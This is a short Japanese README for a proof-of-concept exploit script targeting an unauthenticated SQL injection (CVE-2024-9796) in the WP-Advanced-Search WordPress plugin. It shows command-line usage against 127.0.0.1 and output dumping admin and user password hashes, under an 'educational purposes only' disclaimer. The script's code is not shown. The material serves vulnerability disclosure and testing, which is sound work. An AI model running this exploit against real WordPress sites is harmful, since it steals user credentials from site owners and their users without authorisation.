
CVE-2024-9796 WP-Advanced-Search < 3.3.9.2 - 認証されていないSQLインジェクション。Poc.
PoCのSQLインジェクションは、WordPressのユーザーとハッシュをダンプします。
このスクリプトは教育目的のみで使用してください。
違法な目的で使用しないでください。
もし使用した場合、その責任はすべてあなたにあります。私はいかなる誤用についても責任を負いません。
https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/
# 成功した試行
python3 poc.py -i 127.0.0.1
[!] 127.0.0.1 has been PWNed!
admin:$P$H5blBNpO5AVI7eDJJi95E6pso16h981
user:$P$H1Sa1pcnzwWha3G9XH5rkfB6wOcE2a1
# 失敗した試行
python3 poc.py -i 127.0.0.1
[!] Doesn't look vulnerable..